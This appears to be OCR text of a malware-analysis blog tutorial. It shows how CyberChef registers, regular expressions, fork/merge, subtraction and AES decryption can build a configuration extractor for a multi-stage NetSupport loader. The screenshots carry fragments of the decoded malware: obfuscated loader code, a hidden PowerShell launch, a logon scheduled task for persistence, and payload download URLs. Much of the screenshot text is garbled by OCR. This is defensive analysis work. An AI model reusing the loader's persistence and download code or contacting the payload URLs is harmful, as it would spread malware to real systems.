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We're all used to the regular CyberChef operations like "From Base64", From Decimal and the occasional magic

decode or xor. But what happens when we need to do something more advanced?

Cyberchef contains many advanced operations that are often ignored in favour of Python scripting. Few are aware
of the more complex operations of which Cyberchef is capable. These include things like Flow Control, Registers

and various Regular Expression capabilities.

In this post. We will break down some of the more advanced CyberChef operations and how these can be applied

to develop a configuration extractor for a multi-stage malware loader.

Examples of Advanced Operations in CyberChef

Before we dive in, let's look at a quick summary of the operations we will demonstrate.

e Registers

e Regular Expressions and Capture Groups
e Flow Control Via Forking and Merging

e Merging

e Subtraction

e AES Decryption

After demonstrating these individually to show the concepts, we will combine them all to develop a

configuration extractor for a multi-stage malware sample.

Obtaining the Sample

The sample demonstrated can be found on Malware Bazaar with
SHA256:befc7ebbea2dd4c14e45bd52b1db9427afce@22d7e2df331779dae3dfe85bfab

Advanced Operation 1 - Registers

Registers allow us to create variables within the CyberChef session and later reference them when needed.

Registers are defined via a regular expression capture group and allow us to create a variable with an unknown

value that fits a known pattern within the code.

How To Use Registers in CyberChef
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Below we have a Powershell script utilising AES decryption.

Traditionally, this is easy to decode using CyberChef by manually copying out the key value and pasting it into an
"AES Decrypt" Operation.

$Dzxb =

$sUcUPxU
$GDIXGNY = New-Object

$GDIXGNY .Mode = [ - L y . (
$GDIXGNY.Padding = [System.Security.Cry 3 y.P ingMode]: :Zeros;

$GDIXGNY.BlockSize 128;

$GDIXGNY .KeySize = 256;

$GDIXGNY.Key = [System.Convert]::FromBase64String($sUcUPxU);
$KPWOZ = [ | ]::FromBaseb4String($Dzxb);
$LdCzhhCP = $KPWOZ[@..15];
$GDIXGNY.IV = $LdCzhhCP;
$wgkPgQHMD = $GDIXGNY.CreateDecryptor();

$EcXHAQkBU = $wqkPqQHMD.TransformFinalBlock($KPwOZ, 16, $KPwOZ.Length - 16);
$GDIXGNY .Dispose();

We can see the key copied into an AES Decrypt operation.
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Recipe Sl

AES Decrypt Q 1

Kevy

dVdqd2RRTn1FbWlvdF..  PASEG4T

1V HEX ¥

Mode Input

CBC Hex

Output
Raw

This method of manually copying out the key works effectively, however this means that the key is "hardcoded"

and the recipe will not apply to similar samples using the same technique.

If another sample utilises a different key, then this new key will need to be manually updated for the CyberChef

recipe to work.
Registers Example 1

By utilising a "Register" operation, we can develop a regular expression to match the structure of the AES key and

later access this via a register variable like $R@ to

The AES key, in this case, is a 44-character base64 string, hence we can use a base64 regular expression of 44-46
characters to extract the AES Key.

We can later access this via the $R0 variable inside of the AES Decrypt operation.
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Register
Extractor ) o
'([a-zA-Z0-9\=\+\/]{42,46})" Case insensitive
D Multiline matching |:| Dot matches all

$RO = dVdqd2RRTn1FbW1vdFNidFR3eEViQXJqQO13a2IWQ3M=

AES Decrypt

Key

$Rd HEX ~ |V HEX ~
Mode Input Output
CBC Hex Raw

Registers Example 2

In a previous stage of the same sample, the malware utilises a basic subtract operation to create ASCII char codes

from an array of large integers.

qqT
qqT = 787
Dim JuF
JuF = MAc(yAq)
If JuF = 7080 + 1204 Then
For Each QbJ In yAq
im RrB
RrB = RrB & Chr(QbJl - ggT)

End If
1kV = RrB "787" is subtracted from each of these decimal values to

Lot create ASCII charcodes.

tion bwM()
yAq
yim gqxf
yAq = Array(819,832,856,9@87,888,886,904,903,892,898,897,867,898,895,
Dim OeE

qxf = Array(899,898,906,888,901,902,891,888,895,895,833,888,907,888

Traditionally, this would be decoded by manually copying out the 787 value and applying this to a subtract

operation.
However, again, this causes issues if another sample utilises the same technique but with a different value.

A better method is to create another register with a regular expression that matches the 787 value.
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Here we can see an example of this, where a Register has been used to locate and store the 787 value inside of

$RO. This can later be referenced in a subtract operation by referencing $R0.

\

Recipe Al Qa Input +Dslm =

; Function 1kv(Byval yAq)
) 1
sy Dim QbJ

Extractor _ » Bin
\wt = (\d+) Case insensitive qqT = 787

Uim Ju
JuF = MAc(yAq)

[ Multiline matching [ Dot matches all If JuF = 7800 + 1204 Then
For Each Qb In yAq
$RO = 787 Dim RrB
RrB = RrB & Chr(Qbl - qqT)

Next
End If w
mc 18588 = 34 Tr Raw Bytes «= LF

Extracting the 787 value using Registers B0 m:

Recipe Sl

Register
Extractor . o
\w+ = (\d+) Case insensitive
Multiline matching Dot matches all
$RO = 787

Regular Expressions

Regular expressions are frustrating, tedious and difficult to learn. But they are extremely powerful and you should

absolutely learn them in order to improve your Cyberchef and malware analysis capability.

In the development of this configuration extractor, regular expressions are applied in 10 separate operations.
Regular Expressions - Use Case 1 (Registers)

The first use of regular expressions is inside of the initial register operation.

Here, we have applied a regex to extract a key value used later as part of the deobfuscation process.

The key use of regex here is to generically capture keys related to the decoding process, avoiding the need to

hardcode values and allowing the recipe to work across multiple samples.
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RECiP% Regular Expression to Capture the 787 variable and store it in a register
Function LkV(ByVal yA
Register o n ECION kv {xhia ;i:)qu
Dim
Extractor i .
\w+ = (\d+) Case insensitive qqT = 787
Dim JuF
JuF = MAc(yAq)
] Mulsiline matching (] Dot matches all If JuF = 7000 + 1204 Then
For Each Qbl In yAq
$RO = 787 Dim RrB
RrB = RrB & Chr(QbJ - qqT)
Next
Regular expression Q n End If

How To Use Regular Expressions to Isolate Text

The second use of regular expressions in this recipe is to isolate the main array of integers containing the second

stage of the malware.

The second stage is stored inside a large array of decimal values separated by commas and contained in round

brackets.

By specifying this inside of a regex, we can extract and isolate the large array and effectively ignore the rest of the

code. This is in contrast to manually copying out the array and starting a new recipe.

A key benefit here is the ability to isolate portions of the code without needing to copy and paste. This

enables you to continue working inside of the same recipe

Recipe Bl E npu + O3 =

~ Dim yAq -~
I:l Multiline matching |:| Dot matches all Dim gxf
yig =
$RO = 787 Array(819,832,856,907, 888,886,904, 903,892,898, 897,867, 898,895, 892, 886,908, 819,872,897, 8
©9,888,902,903,901, 892,886,903, 888,887,819,870,903,884,901,903,832,867,901, 898,886, 888,
902,902,819,826,886,896,887,833,888,907,888,826,819,832,8/4,892,897,887,898,906, 870,903
Regular expression ®n ,908,895 , 888, 819,891,892, 887, 887, 888, 897,819, 832,852,901, 898, 994, 896, 888,897,903, 863, 89
2,902,903,819,910, 834, 886,819,899, 898,906, 888, 991,902, 891, 888, 895, 895, 833, 888,907,888, 8
Built in reaexes 19,823,855,909,907,885,819,848,819,826,852,852,852,852,852,852,852,852,852,852,852,852,
User defined 852,852,852,852,852,852,852,852,852,866,870,861, 886,869,853,898,905,865,905,842, 840,864
903,865,867, 869, 868,901,908, 891,895,901, 906, 894, 884,861, 837,877, 899, 860, 844, 844, 869, 84
Regex 1,898,869,838,839,866,869,853,837,871,852,892,864,872,890,839,853,900,875,902,873,900,8
\(([\d, ]1{1000,})\) £2 QAR QG7 9I0 9EG QAE QAN QA4 GAE @AO QA1 970 977 QA1 974 QA1 9EM 9L QGO QKT 9AT QAT
Mg 18508 = 33 Te Baw Bytes e |
y Output B I—D m o

219,832,856,907, 888, 886, 904,903,892, 898,897,867, 898, 895,892, 886,908, 819,872,897, 869,888
,902,903,901, 892,886,903, 888 , 887,819, 870,903, 884,901,903, 832,867,901, 898, 886,888,992, 90
2,819,826,886,896,887, 833,888,907, 888,826,819, 832,874, 892,897, 887, 898 , 906, 870,903,908, 8
95,888,819,891,892, 887,887, 888, 897,819, 832,852,901, 890, 994, 896, 888,897, 903,863,892, 902,

Case insensitive

 and § match at newlines 903,819,910, 834,886,819,899,898,906, 888,901,902, 891,888,895, 895,833, 888,907,888, 819,823
,855
2,85 . . .
] Dot matches all [ Unicode support 65,8 Regular Expression to extract the primary array of integers
269, containing the next stage of the malware. b
¥ Lea7 B
A — AR5 RAT R71. AR OAR. ALA R0 GAR.R77.RGA AGG . AG0 #77. A5G R7A RA7.AG0.AGG A4d AG1 AGA. A

Regular Expressions - Use Case 3 (Appending Values)
Occasionally you will need to append values to individual lines of output.

In these cases, a regular expression can be utilised to capture an entire line (.*) and then replace it with the

same value (via capture group referenced in $1) followed by another value (our initial register).
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The key use case is the ability to easily capture and append data, which is essential for operations like the subtract

operator which will be later used in this recipe.

Fork
Split delimiter Merge delimit...
s \n

Find / Replace

Find

(.*)
Replace
$1 $Re

D Case insensitive

O

N

[:| Ignore errors

REGEX ~

D Global match

Multiline matching

] Before Find/Replace
Recipe Bl E  inpu
A
Fork O n wec 10508
Split delimiter Merge delimit...
» \n [(Jignore errors Output
819 787
832 787
Find / Replace o n a8e 959
Find 907 787
(.") REGEX ~ 888 787
886 787
Replace 904 787
$1 $Re [ Global match 903 787
892 787
898 787
[ Case insensitive Multiline matching 897 787
867 787
898 787
D Dot matches all 895 787
V
. v
After Find/Replace b
Subtr 7

Din
mc 10508 = 34

Output

819
832
856
997
888
886
904
903
892
898
897
867
898
895
892
886

Dim yAq
Dim gxf

We can utilise regular expressions inside of register operations to extract encryption keys and store these inside of

variables.
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Here, we can see the 44-character AES key stored inside of the $R1 register.

This is effective as the key is stored in a particular format across samples. Leveraging regex allows us to capture

this format (44 char base64 inside single quotes) without needing to worry about the exact value.

$Dzxb = 'AAAAAAAAAAAAAAAAAAAAA cRBovNv75MtNPRQryhlrwkal2Zpl 60R340RB2

$sUcUPxU =| 'dvdqd2RRTnlFbW1lvdFNi
$GDIXGNY = New-Object ‘System.Sec

Register
Extractor _ o
'([a-zA-Z0-9\\+\/]{44})" Case insensitive
D Multiline matching |:| Dot matches all

$R1 = dvdqd2RRTnlFbWlvdFNidFR3eEViQXJqQ013a2IWQ3M=

Regular expressions can be used to isolate base64 text containing content of interest.
This particular sample stores the final malware stage inside of a large AES Encrypted and Base64 encoded blob.

Since we have already extracted the AES key via registers, we can apply the regex to isolate the primary base64

blob and later perform the AES Decryption.

$Dzxb =

$sUcUPxU C
$GDIXGNY = New-Object '

$GDIXGNY.Mode = [Sys

Page 8 of 30



https://embee-research.ghost.io/advanced-cyberchef-operations-netsupport/

Regular expression " Function 1kv(Byval yAq) ~
Dim Qb)
uilt in reqexes Dim qqT
User defined aqT = 787
Dim Juf
gex JuF = MAc(yAq)
[a-zA-Z0-9\=\+/]{1@8, } If Juf 7000 + 1204 Then w
=] 34 Tr Raw Bytes 4 LF
Output a rD m o

= , " | AAAAAAAAAAAAAAAAAAAAADS] CR i 75MENPRQryhlrwkal2ZpI99R60R3I4ORB2TAIMUEA HO9MwR S
\_ase nsensitive v and § match at newlines A AAAAARADS ] CRBGUNY 75 FN Ulr'y 1rwkal2ZpI99R60R340RB2TAIMUgABqXsVgByn3HO9MWR rSUISLI
o TTEVPRGAy ZGpp ZAYPPDT 61+ 2M00 1w f jnd99AN2 tuT zuThAfWMxeN1MCE LDBAAPUaTQkMNp2Wnt 0T 2XY TqyZpBs

2WgIT8HspdMRT FaTakYdXXp8F jCFqYospAE+WLozFsquCalChb236ce6gIBKL zn59uTMIe 1npggCldzUFPS6SpXCYKIBUZ
) mxtVacNkrYFGASVF gDOvzdMbHGYrkKx/ 3 1XYE JmXLHLC FY46cEIXTI2CmI jySbWEsnxfmeFnXzuzSshiosUAPDsbMGD
[J Dot matches all [ Unicode support RnardASF++LpiawRke71CAhHGehCESZOEPad i EHOPWF ujrtqSp6UBTqGIxMCANZUTAFKnTp3T2geAf8r1oShi IvOTBVHBES
8dgOolC ImHt z4W3M ] LXhZcvkefreod) i7TtH1kTpgjWgad)
/2FE23xR+TCQyrTCTEFMexKVV7pzwsFSQFEpra6+3RL JXQLDdgd z0vr 2V W2 ZmS 2F
[ Astral support (] pisplay tota /7AEB7bMWOEZDIEUTYPIWYOy 7 fueele i 3Q+dPcMXcPaqSBFnOVIULZ3dINI 2P1Yd 1m3X80Qip
/b3gLdIcmfbWDTYTabVIQxXe+2vdl21UM JhXGTENT LrYF i3mBK Lpelq+2gDm7vI iXgHd titVOnw30nzK6YGGIrTTSTHIES

tout format NgqUavX
List matches /H2QtuMsF . Y UM
- 7paLX2Mb2 Isolating Base64 Via Regex
fdgCijues
@ /1aTfXc8alVOTTRZETTSASac S UX T Z ZOMW

This sample utilises the first 16 bytes of the base64 decoded content to create an IV for the AES decryption.

We can leverage regular expressions and registers to extract out the first 16 bytes of the decoded content using .

{16} .

This enables us to capture the I'V and later reference it via a register to perform the AES Decryption.

$LdCzhhCP = $KPwOZ[0..15];

$GDIXGNY.IV = $LdCzhhCP;

- J s LT Jur = /90d + 1204 1ne
mc 18588 = 34

Register Output
Extractor LhA00EEM="+E “KAF o UsH:0z | 99"
7 : -
(-{16}) R Case insensitive — 7P c1xUL"BA2"Y)1®DeEOUi iBexa: 21
%-6C2eY
. . /J9ubillig) %eU0| Gz JeAXG“Qe+pVeDU+ Q, TQ  “EOTAC i
[] Multiline matching [] Dot matches all bitE o 0% Eiinge s | 11+%20%30p1AsFvat 336" [ 1BW"/E2" o
ONAS e e8%" e e >UUEEA\ %00 08%&. E " }die#Z e CyeOomtGai
$R2 = WRWRMRAMRRRNRYY 413 B%CHES 00" Bl~ge9e-CcOpAU=2+%YI 0" gwI6-+Deuset

¢EyI%0M@I0" A {V9+UD | 7: | Eéee " "OK+E%s ©@00_AdBOe+ida
Qaman AdA~t Bof (“ A% e a(160xAFG" | Ax /%« o (17 Adkbeéis

O -
Capturing initial bytes with regex [}
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AES Decrypt Q N

Key

$R1 BASE64 ~

\% Mode
$R2 UTF8 ECB

Input Output
Raw Raw

Using Regular Expressions To Remove Trailing Null-Bytes

Regular expressions can be used to remove trailing null bytes from the end of data.

This is particularly useful as sometimes we only want to remove null bytes at the "end" of data. Whereas a

traditional "remove null bytes" will remove null bytes everywhere in the code.

In the sample here, there are trailing null bytes that are breaking a portion of the decryption process.

a5 a5 69 74 af 8f @5 ac 51 f1 b3 35 a2 20 d4 d2 oc 0a ba f2 68 db d5 ae 5d 19 d4 5d 47 1f
db bd ab b2 54 36 ¢5 a5 5b bl ef 77 f4 b3 eb 75 b4 70 4a 8e a2 97 f4 a2 c7 46 9a 7c 7a b8
90 e9 fa cf fb 99 54 12 54 4a 25 b7 95 54 d9 b7 c9 6e 5 5b 2a 7d 2c 24 50 02 75 2a 06 d5
6f d8 ad 48 be e5 b0 2b 6a 7d 95 6b 6b 9 94 4c 45 7f e9 45 df 29 3d e3 of 43 ff 07 93 9d
4f 8f 13 ©8]00 00 00 00 00 00 I '

mc 2639 = 1 (© 584ms  Tr Raw Bytes € 1

By applying a null byte search \0+$ we can use a find/replace to remove these trailing null bytes.

In this case, the \@+ looks for one or more null bytes, and the $ specifies that this must be at the end of the
data.
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Find / Replace O u
Find
\0+§ REGEX

Replace Global match

Case insensitive Multiline matching

Dot matches all

After applying this operation, the trailing null bytes are now removed from the end of the data.

db bd ab b2 54 36 ¢5 a5 5b bl ef 77 f4 b3 eb 75 b4 70 4a 8e a2 97 4 a2 c¢7 46 9a 7c 7a b8
90 e9 fa cf fb 99 54 12 54 4a 25 b7 95 54 d9 b7 c9 6e t5 5b 2a 7d 2c 24 50 02 75 2a 06 d5
6f d8 ad 48 be e5 b@® 2b 6a 7d 85 6b 6b f9 94 4c 45 7f e9 45 df 29 3d e3 of 43 ff 07 93 9d
4f 8f 13 08

e 2621 = 1 (© 807ms Tr Raw Bytes ¢

How To Use a Fork in CyberChef
Forking allows us to separate values and act on each independently as if they were a separate recipe.

In the use case below, we have a large array of decimal values, and we need to subtract 787 from every single one.
A major issue here is that in order to subtract 787, we need to append 787 after every single decimal value in the

screenshot below. This would be a nightmare to do by hand.
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819,832,856,907,888,886,904,903,892,898,897,867,898,895,892,886,908,819,872,897, 869,888,902
,903,901,892,886,903,888,887,819,870,903,884,901, 903,832,867, 901,898, 886,888,902,902,819,82
6,886,896,887,833,888,907,888,826,819,832,874,892,897, 887,898,906, 870,903,908, 895,888,819, 8
91,892,887,887,888,897,819,832,852,901, 890,904, 896, 888,897,903, 863,892,902,903,819,910, 834,
886,819,899,898,906,888,901,902,891, 888, 895,895,833, 888,907,888,819, 823, 855,909,907, 885,819
,848,819,826,852,852,852,852,852,852,852,852,852,852,852,852,852,852,852,852,852,852,852,85
2,852,866,870,861,886,869,853,898,905, 865,905,842, 840, 864,903, 865,867,869, 868,901,908,891,8
95,901,906,894,884,861,837,877,899,860, 844,844, 869,841,898, 869,838,839,866,869,853,837,871,

852, B69,901
,870 , 877,85
8,89 b,893,8
97,8 Forking enables us to act on each value independently as if it ps, ge4,
854, were a separate recipe. B60,909
,875 , 842,88
9,88 ,830,8
74,8 B4,835,
862,863,909,897,840,844,904,842,864,860,888,836,897,899,890,890,854,895,887,909,872,889,867
me @ = 1 (© 3ms  Tr Raw Bytes ¢

As the data is structured and separated by commas, we can apply a forking operation with a split delimiter of

commas and a merge delimiter of newlines.

The split delimiter is whatever separates the values in your data, but the merge delimiter is how you want your

new data structured.

At this point, every new line represents a new input data, and all future operations will act on each line

independently.
mc 10508 = 34
Fork on
Output
Solit delimiter Merae delimiter
819
5 \n I:] Ignore errors
832
856
Find / Replace O n oed
888
886
(.%) REGEX ~ 904
903
Replace 892
$1 $RO D Global match 898

ant

If we now apply a find-replace operation, we can see that the operation has affected each line individually.
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mc 10588 = 34
Find / Replace O
Output
Find
(.*) REGEX ~ 819 787
832 787
Replace 856 787
$1 $Re |:| Global match 907 787
888 787
886 787
[J Case insensitive Multiline matching 904 787
903 787
892 787
D Dot matches all 898 787
897 787
867 787
898 787
Subtract ® I
895 787
¥1 892 787

If we had applied the same concept without a fork, only a single 787 would have been added to the end of the
entire blob of decimal data.

VIV 0TI QI T30S I3020) IUL VAV 0L! JOLO 0TV 0/ 0y00I ) SUDY SUI 3000, 0/ 000V 00V30Ls 0L T y0IVy SVDy SUY
,858,870,888,819,848,819,823,887,876,896,893,909, 858,833,871, 898, 852,901,901, 884,908,827,82
8,846,823,899,868,892,864,869,908,864,819,848,819,878,870,908, 902,903,888, 896,833,871, 888,9
07,903,833,856,897,886,898,887,892,897,890,880,845,845,872,871,857,843,833,858,888,903,870,
903,901,892,897,890,827,823,856,908,900,858,870, 888, 828,846, 823,899,868, 892,864,869 ,908, 864
,819,911,819,899,898,906,888,901,902,891,888,895,895,819,832,819,91p 787

mc 9263 = 1 (O 5ms  Tr Raw Bytes ¢

After applying the find/replace, we can continue to apply a subtraction operation and a "From Decimal".

This reveals the decoded text and the next stage of the malware.

Find / Replace & n Function 1kV(ByVal yAq)
Dim QbJ
find Dim qqT
(.*) REGEX = qqT TAT
Dim JuF
Replace JuF = MAc(yAq)
$1 RO [ Global match If JuF = 7000 + 1284 Then ~
- 18588 = 34 Tr Raw Bytes 4 LF
[ Case insensitive B Multiline matching Output RO®m::
~
|:| Dot matches all E
x
o n N : :
subtract c Decoded data after forking operations.
Delimites u
Space t
i
. o
From Decimal Q n n
P
Delimiter _ A
Space [ Support signed values .
i

Note that the "Merge Delimiter" mentioned previously is purely a matter of formatting.

Once you have decoded your content, as in the screenshot above, you will want to remove the merge delimiter to

ensure that all the decoded content is together.
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We can see the full script after removing the merge delimiter.

sun = ey gy

W

Fork on
Tr Raw Bytes = LF

Py Remove Merge Delimiter after recipe is working.
, Merae deli... Dlgnol’e errors 5] rD m o
-ExecutionPolicy UnRestricted Start-Process ‘cmd.exe' -WindowStyle hidden -Argumentlist ~
Find / Replace S u {/c powershell.exe $Dzxb =

* AAAAARAARAAAAAAAARAAADS TcRBOVNYT SMENPRQryh Lrwka2ZpI99R60R340RB2TA iMUg4BgXsVgByn 3HOIMwRSU
ISLIBGPPPX+16VPWGAyZGppZHYPPDIFGT+2MO0iwf £ Ind99AN2 tuT zuThAFWMxeNLMCELDEAApUa7QkMmp 2WntOT XY
REGEX ~ TqyZp8s 2WqTT8HSpdMRT £ alakydXXp&F CFqYospAE +WLOZFsquCaTChb236cefgankl znS9u7MT elnpggCldzUfPse
SpXCVKTBUZmxtVac@NkrYFGASVFgDOvzdMbHGY rkKex /3 §1XYE InXLHLCFV46cEIX7T2CmT §ySHUE snx fmeFnXzuzSs
Replace WMosU4PD+bMGDRnardASF ++L piawRe7 LCARHGehC ESTOEPad i EHOPWF U rtqSp6USTqG3xMCAW2uT4FKnTp3TzgeAfs
$1 $Re DG"’bﬁ‘ match r10Sbi3vOI8vHBF58dg00 ]l CImHE z4W3Mj LXhZcvk+freod]i7TtH1k7pg jWgadQ
S 2FB22xR4TCQyrTCILFMexKVVT pzwsFSQF8prX60+ 3Rt jXQLDdgd z0vrZVIW2ZmS 2F
/7A0OTbMHQEZDIEULYP TWYOVT fueeOei3Q+dPcMXcPaqSBFNOVIULZ3dINI2P1Yd In3X8o0jp
[ case insensitive & Multiline matching /b3gLATcmfbDTYTa6VIQxXe+2ve121UMhXG7ENTLrYF i3mBKLpeUqs2gDn7vIiXqHdt itVanwIOnzK6YGGIrTTS7H
JE3NgqUIvX
/H2QtuHSFFRAMHSX10+Xh7mCUaBEDxb j 1yci2XdmQEgKK 3BhoSMErzXuL BEMTi tUeRA4F Qg4 FDF f gyd ImImKBADWKYF
|:| Dot matches all JWH7 pILX2Mb2ASHE 1y8Qt 53a70Hha+ia6fnvVMmecQHLh9boPs1AFTICCrCviwxYELRNorscF /TXjcSG
Y /dgCijueBusFxexULCEHL 1AdXUCRMISYVZNDXF /i TEIHDWoZIZIQBdqGex/ XGIymHhIhers Toxddgtanss
D /laTfXcBacveLtkZgilsXsach8Ux+zz0mw
[P78BqIUNFYPr2q6siRgI9uvyOrt j+AatvS1wTGF +tN@dTenFh2bdL xUas7 2kZPrs5INML jhh8Udr +WxPHCZBERPET

STEP BAKE!

Auite Ralke

How To Apply a Merge Operation in CyberChef

A merge operation is essentially an "undo" for fork operations.

After successfully decoding content using a fork, you should apply a merge to ensure that the new content can be

analysed appropriately.

Without a merge, all future operations would affect only a single character and not the entire script.

me 19508 = 34 Tr Raw Bytes & LF
Merge o u Output BoDm:c
M Al -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -Argumentlist A
erge {/c powershell.exe $Dzxb =
K AALA AAAAAADS JcRBovNY7 SMENPRQryhlrwkal2ZpI99R60R 340RE 2 TAIMUg4BqXsVqByn 3HOOMwWR -SU
i o ISLIBGPPPX+16VPWGAY ZGppZHYPPD G +2M00iwf f jnd99AN2 tuT zuThAFWMxeN1MCE LDEAApua7QkMmp2WntOT ZXY
Register TqyZp8s 2WgIT8HspdMR7falakYdXXp8F jCfqYo6pAE+WLOZFsquCalChb236cefgd0KL zn59u7MIelnpgeC ldzUfPs6
o SpXCvKIBUZmxtVacONkrYFGASVF DOy zdMbHGYrkK@x /3 jiXYE ImXLH1CFV+6cEIXT7I2CmI jySbWEsnxfmeFnXzuzSs
([a-zA-Z8-9) Case insensitive WMosUAPD+bMGDRNardABF ++LpiawRe7 LCAhHGEhCESZOEPad i EHOPWFUrtq5peUGTqG 3xMCAWZUTAFKNTp3TzgeAfs

rloSbi3vol8vHBF58dg0olCImHE zAW3M] LXhZevksfreod 1 i7ItHIk7pg jWgadg
[ 2FB22xR+TCQyrTCItFMexKVVT pzwsF SQFEprxX60+ 3Rt JXQLDdgd z0vrIVIW2Zms 2F

D Nt ratehin g I:‘ Eenrierae ] /S TROBTHMMQEZDIEUTYPIWYOY 7 fueele i 3Q+dPcMXcPaqSBF nOVIULZ 3dINL 2P1¥d 1m3X80Qjp
- Jb3gLALemfBWDTYTa6VIQxXe+2v0121UMjhXGTENT1rYF i 3mBK LpeUg+ 2gDm7vIiXqHdt i tVOnuw30nzKEYGGIrTTSTH
" o JE3NgqUavX
$R1 = dvdqd2RRTnlFbW1vdFNidFR3eEViQXJ1qQ@13a2IW L .
. SH2QUUHSFFkamH5 X 10+ Xh7mCUABEDxb §1ye i 2XdmQE gKk 3BhoSMer2 xul BEMT i tUeRA4FqpaFfOF FEya I momKBADWKY F
e JWH7pILX2MB2ASHE 1y8Qt53a70Hha+ia6fnvMmecQHLhOboP S 1IAFTJCCrCviwx Yt LRNorscF/TXjcS6

- FdgCijuesusFxexUICEHL 1AdxUCmmISYVZNDX T/ xiTE9HDWoZ IZ10@dqGex/X6IymHhah8rsToxd4gtanes

D flaTfXcBacveLtkZgilsXsach8Ux+zz0mw
STEP BAKE! e /PTEBOGIUNFYPr2q6siRgINUVYOrt j+AatvS1nTGF + tNOdTenFh2bdl xUaS72kZPrs 5INML Jhh8Udr thixPHCZBERPLT
vibes Ralra

Cyberchef is capable of AES Decryption via the AES Decrypt operation.

To utilise AES decryption, look for the key indicators of AES inside of malware code and align all the variables

with the AES operation.

For example, align the Key, Mode, and IV. Then, plug these values into CyberChef.
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$sUcUPxU

m“.‘{“] ) N1 \ ! J AES key

$GDIXGNY = New-Object '

$GDIXGNY.Mode = [System.Security.Cryptography.Cipherto
$GDIXGNY.Padding = [System.: ri ptograph ingMo

$GDIXGNY.BlockSize = 128;

$GDIXGNY.KeySize = 256

$GDIXGNY.Key = [System.Convert]::FromBase64String($sUcUPxU

$KPWOZ = [S em.Convert]::FromBase64String($Dzxb);

$LdCzhhCP = $KPwOZ[@..15];

IV - (First 16 bytes of base64)
$GDIXGNY.IV = $LdCzhhCP;

AES Decrypt

Key o
dVdqd2RRTn1FbW1vdFNidFR3eEViQXJqQe  DASESA

AV Mode

00 00 00 00 00 @@  EXT ECB

Input Qutput

Raw Raw

Recipe BEE ot + O35 8 =
A-Za-z@-9+/= . A AAAAAMAMAAAAAAAAAAAADS ] CRBovNV7SMENPRQryhl rwkal2Z pT99R60RI40RB2TAI MUgdBqXsVqByn 3HOOMWR
rSUISLIBGPPPX+]6VPWGAY ZGppZHYPpDI JGI+2M00iwf f jnd99ANZ tuT zuThAfWMxeN IMCELDEAApUAT QkMmp2W
ntOIzXYTqyZpBs2WqlT8HspdMR7falakYdXXp8F jCfqYobpAE+WLoZFsquCalChb236cebgdRKLzn5%u7MIelnp
Remove non-alphabet chars D Strict mode

BBC 1dzUfPsBSpXCVEIBUZmxtVAc@NkrYFGASVF ]_‘,I][)vNJ"IEJHDVr'kKP]xf SleYE ImXLH1CFV+6¢EIXTI2CmI jy b
EsnxfmeFnXzuzSsWMosUAPD+bMGDRnardABF++LpiawRe7 1CAhHGehCESZOEPad i EHOPWFu jrtqSpoUs 1qG3xMC
AW2uTAFKmTp3TzgeAf8rloSbi3vOoI8vHBF58dg0ol CImHE zAW3M] LXhZcvk+freod]i7It Hlkl]lgjl.-lg.nl[)
F2FB22xR4TCQyrTCILFMexKWWT pzws FSQF 8prX68+ 3Rt jXQLDdgd z@vr 2V FW2ZmS 2F

— n S TABATHMWQRZDIEY 1YPIwYOv7fueetei 3Q+dPcMXcPaqSBFnOvaULZ 3d INi 2P1Yd Im3X8oQjp

° ! 16 /b3gLATcmfbWDTYTa6VIgxXe+2v012 UM hXGTENT LrYF i 3mBKLpeliqs 2gDm7v1 i XgHdt i tVBnw30nzKeVGGIrT
TSTHIEINgQUIVX

FH20tuHs f Fk4mH5x 10+ Xh7mCUaBEDxbj1yci2Xdm)EgKkIBhoSMErzxul BEMT itUeRA4Fqe4 fOF fey4 I mOmKBAD

Drop bytes

] Apply to each line WKYF JUH7pILX2Mb2ASHE 1y 805 3a78Hha-+ia6FrivMne cQHLhIboPS1AFTJCCrCy1wxYtLRNOFSCF [ TXJ CSG v
=1 Tr o

AES Decrypt Output B0Om::
~

Key ) . function QtR($kBv, $LMY){[IO.File]::WriteAllBytes($kBv, $LMY)};function sri($kBv){if
dvdqd2RRTn1FbW1vdFNidFR3eEViQXIqQe At ($kBv.EndsWith(*.zip') -eq $True){$fwef = '\’ + (Get-Item $kBv).Basename;
$Script:fghrth = Join-Path $MeT $fwef;Expand-Archive -Path $kBv -DestinationPath
y N $fghrth; $Script:ghyth 1; del $kBv}else{if ($ghyth -eq 1){mv -Path $kBv -Destination
@@ oe oo o 0@ 00 i ECB §fghrth; $kBv = Join-Path $fghrth infosecpad.exe};$Action = (New-ScheduledTaskAction
Execute $kBv);8Trigger = New-ScheduledTaskTrigger -AtLogOn;Register-ScheduledTask

nout . TaskName “BackgroundCheck” -Action $Action -Trigger $Trigger -Runlevel "Highest™

Raw Raw Force;Start $kBv}};function WTk($Wxf){$PSt = New-Object (wva
@(4352,4375,4390,4320,4361,4375,4372,4341,4382,4379,4375,4384,4390) );
[Net.ServicePointManager]: :SecurityProtocel = [Net.SecurityProtocolType]::TLS12;$LMY

Eventually, you can effectively automate this using Regular Expressions and Registers, as previously shown.
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AES Decrypt O n
Kev
$R1 BASEGS ~
\Y) Mode

$R2 UTFS ~ ECB

Input Output
Raw Raw

Utilising all of these techniques, we can develop a configuration extractor for a NetSupport Loader with 3 separate

scripts that can all be decoded within the same recipe.

This requires a total of 22 operations which will be demonstrated below.

Input + 028 =
Function 1lkV(Byval yAq) )
Dim QbJ
Dim qqT
qqT = 787
Dim Jufk

JuF = MAc(yAq)

If JuF = 7000 + 1204 Then
For Each Qb]l In yAq
Dim RrB

L T e VR —TN,

asc 10508 = 34 Tr Raw Bytes 4 LF

Output B0Dm:o

Net.WebClient

v

https://
https://raekessler.com/wp-content/uploads/2023/04/Tranch.zip

https://raekessler.com/wp-content/uploads/2023/04/infosecpad.exe

The initial script is obfuscated using a large array of decimal integers.

For each of these decimal values, the number 787 is subtracted and then the result is used as an ASCII charcode.
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im gqqT
m JuF
JuF = MAc(yAq)
If JuF = 7008 + 1284 Then
1 QbJ In yAg

RrB = RrB & Chri(QbJ - qub Subtraction Operation

1kV = RrB

ion bvM()
yAq Array of Decimal Values

v+
Qs

To decode this component, we must

e Use a Register to extract the subtraction value

e Use a Regular Expression to extract the decimal array

e Use Forking to Separate each of the decimal values

e Use a regular expression to append the 787 value stored in our register.
e Apply a Subtract operation to produce ASCII char codes

e Apply a "From Decimal" to produce the 2nd stage

e Use a Merge operation to enable analysis of the 2nd stage script.
The initial subtraction value can be extracted with a register operation and regular expression.

This must be done prior to additional analysis and decoding to ensure that the subtraction value is stored inside of

a register.
Recipe OBy input
Regist " Function 1kV(ByVal yAq)
